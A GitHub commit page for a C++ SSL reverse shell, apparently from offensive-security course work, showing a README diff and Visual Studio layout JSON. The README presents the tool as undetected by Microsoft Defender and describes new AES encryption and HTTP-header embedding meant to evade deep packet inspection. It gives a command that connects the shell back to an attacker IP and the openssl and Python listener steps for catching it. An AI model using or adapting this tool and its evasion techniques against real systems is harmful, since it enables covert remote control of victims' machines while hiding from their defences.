Skip to content

Commit 476fc20

Browse files
committedNov 24, 2024
Added Encryption & Http Headers
Added Encryption & embedded result and command in http headers for dpi bypass
1 parent 70a3a9a commit 476fc20

38 files changed

+508
-102
lines changed
 

‎Readme.md

+20-9
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,9 @@ An encrypted reverse shell helps evade such detection by:
1313
2. Using SSL to blend in with legitimate HTTPS traffic.
1414

1515
To address this gap, I created a simple **C++ SSL Reverse Shell** POC (commented and explained):
16-
- **Undetectable** by Microsoft Defender and some other AV solutions at the time of publishing.
16+
- **Undetected** by Microsoft Defender and some other AV solutions at the time of publishing.
1717
- Enables secure communication via SSL, reducing the chance of detection.
18+
- Using AES Encryption / Decryption and embedding the results and commands within HTTP headers to bypass deep packet inspection
1819

1920
> **Note**: I tested the binary against a limited set of antivirus solutions, and results may vary across environments.
2021
@@ -70,21 +71,31 @@ C:\OpenSSLWin64\install\lib\libcrypto.lib
7071

7172
![Local Image](./images/Linker2.png "Linker.png")
7273

74+
---
75+
## Usage
76+
77+
```
78+
.\SSLReverseShell.exe 192.168.33.146 443
79+
```
80+
81+
---
82+
## POC
83+
84+
This C++ Project will connect to the python server and initiate a ssl connection, taking commands from the server (attacker) and sending the results to the attacker through ssl tunnel encrypted with aes.
85+
7386
---
7487
7588
## Capture the reverse shell in your Kali OS
7689
7790
1- Generate a New RSA Private Key and Self-Signed Certificate (Containing the Public Key)
78-
```
91+
7992
openssl req -newkey rsa:2048 -nodes -keyout attacker.key -x509 -days 365 -out attacker.crt
93+
94+
2- Python Script will be the server to capture the shell and send the command back to client (encrypted with aes)
8095
```
81-
2- Combine the Private Key and Certificate into a PEM File
82-
```
83-
cat attacker.crt attacker.key > attacker.pem
84-
```
85-
3- Start an OpenSSL SSL Server on Port 443
86-
```
87-
openssl s_server -accept 443 -cert attacker.crt -key attacker.key -cipher ALL -quiet
96+
┌──(kali㉿kali)-[~/Desktop/pen-300/sslrevshell]
97+
└─$ python3 sslserverv1.3.py
98+
[*] Listening on 0.0.0.0:443
8899
```
89100
---
90101
11 KB
Binary file not shown.
Binary file not shown.

‎SSLReverseShell/.vs/SSLReverseShell/v17/DocumentLayout.backup.json

+38-6
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,19 @@
11
{
22
"Version": 1,
3-
"WorkspaceRootPath": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\Extras Advanced\\SSLReverseShell\\",
3+
"WorkspaceRootPath": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\CSA Containers\\SSLReverseShell\\",
44
"Documents": [
55
{
6-
"AbsoluteMoniker": "D:0:0:{CFBCCCB3-F5D8-47E5-AA84-40AD41CB8408}|SSLReverseShell\\SSLReverseShell.vcxproj|C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\Extras Advanced\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
6+
"AbsoluteMoniker": "D:0:0:{CFBCCCB3-F5D8-47E5-AA84-40AD41CB8408}|SSLReverseShell\\SSLReverseShell.vcxproj|C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\CSA Containers\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
77
"RelativeMoniker": "D:0:0:{CFBCCCB3-F5D8-47E5-AA84-40AD41CB8408}|SSLReverseShell\\SSLReverseShell.vcxproj|solutionrelative:SSLReverseShell\\SSLReverseShell.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
88
},
9+
{
10+
"AbsoluteMoniker": "D:0:0:{CFBCCCB3-F5D8-47E5-AA84-40AD41CB8408}|SSLReverseShell\\SSLReverseShell.vcxproj|C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\CSA Containers\\SSLReverseShell\\SSLReverseShell\\AES_CBC.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
11+
"RelativeMoniker": "D:0:0:{CFBCCCB3-F5D8-47E5-AA84-40AD41CB8408}|SSLReverseShell\\SSLReverseShell.vcxproj|solutionrelative:SSLReverseShell\\AES_CBC.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
12+
},
13+
{
14+
"AbsoluteMoniker": "D:0:0:{CFBCCCB3-F5D8-47E5-AA84-40AD41CB8408}|SSLReverseShell\\SSLReverseShell.vcxproj|C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\CSA Containers\\SSLReverseShell\\SSLReverseShell\\AES_CBC.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
15+
"RelativeMoniker": "D:0:0:{CFBCCCB3-F5D8-47E5-AA84-40AD41CB8408}|SSLReverseShell\\SSLReverseShell.vcxproj|solutionrelative:SSLReverseShell\\AES_CBC.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
16+
},
917
{
1018
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.22621.0\\shared\\apiset.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
1119
}
@@ -17,11 +25,35 @@
1725
"DocumentGroups": [
1826
{
1927
"DockedWidth": 200,
20-
"SelectedChildIndex": 1,
28+
"SelectedChildIndex": 3,
2129
"Children": [
30+
{
31+
"$type": "Document",
32+
"DocumentIndex": 2,
33+
"Title": "AES_CBC.h",
34+
"DocumentMoniker": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\CSA Containers\\SSLReverseShell\\SSLReverseShell\\AES_CBC.h",
35+
"RelativeDocumentMoniker": "SSLReverseShell\\AES_CBC.h",
36+
"ToolTip": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\CSA Containers\\SSLReverseShell\\SSLReverseShell\\AES_CBC.h",
37+
"RelativeToolTip": "SSLReverseShell\\AES_CBC.h",
38+
"ViewState": "AgIAAAAAAAAAAAAAAAAAAAgAAAAfAAAAAAAAAA==",
39+
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
40+
"WhenOpened": "2024-11-24T15:13:33.656Z"
41+
},
2242
{
2343
"$type": "Document",
2444
"DocumentIndex": 1,
45+
"Title": "AES_CBC.cpp",
46+
"DocumentMoniker": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\CSA Containers\\SSLReverseShell\\SSLReverseShell\\AES_CBC.cpp",
47+
"RelativeDocumentMoniker": "SSLReverseShell\\AES_CBC.cpp",
48+
"ToolTip": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\CSA Containers\\SSLReverseShell\\SSLReverseShell\\AES_CBC.cpp",
49+
"RelativeToolTip": "SSLReverseShell\\AES_CBC.cpp",
50+
"ViewState": "AgIAADsAAAAAAAAAAAAIwFIAAAAwAAAAAAAAAA==",
51+
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
52+
"WhenOpened": "2024-11-24T15:13:29.346Z"
53+
},
54+
{
55+
"$type": "Document",
56+
"DocumentIndex": 3,
2557
"Title": "apiset.h",
2658
"DocumentMoniker": "C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.22621.0\\shared\\apiset.h",
2759
"RelativeDocumentMoniker": "..\\..\\..\\..\\..\\..\\..\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.22621.0\\shared\\apiset.h",
@@ -35,11 +67,11 @@
3567
"$type": "Document",
3668
"DocumentIndex": 0,
3769
"Title": "SSLReverseShell.cpp",
38-
"DocumentMoniker": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\Extras Advanced\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp",
70+
"DocumentMoniker": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\CSA Containers\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp",
3971
"RelativeDocumentMoniker": "SSLReverseShell\\SSLReverseShell.cpp",
40-
"ToolTip": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\Extras Advanced\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp",
72+
"ToolTip": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\CSA Containers\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp",
4173
"RelativeToolTip": "SSLReverseShell\\SSLReverseShell.cpp",
42-
"ViewState": "AgIAACYAAAAAAAAAAAAAACsAAAAAAAAAAAAAAA==",
74+
"ViewState": "AgIAAEsAAAAAAAAAAADwv1wAAAAKAAAAAAAAAA==",
4375
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
4476
"WhenOpened": "2024-09-26T08:45:51.878Z",
4577
"EditorCaption": ""

0 commit comments

Comments
 (0)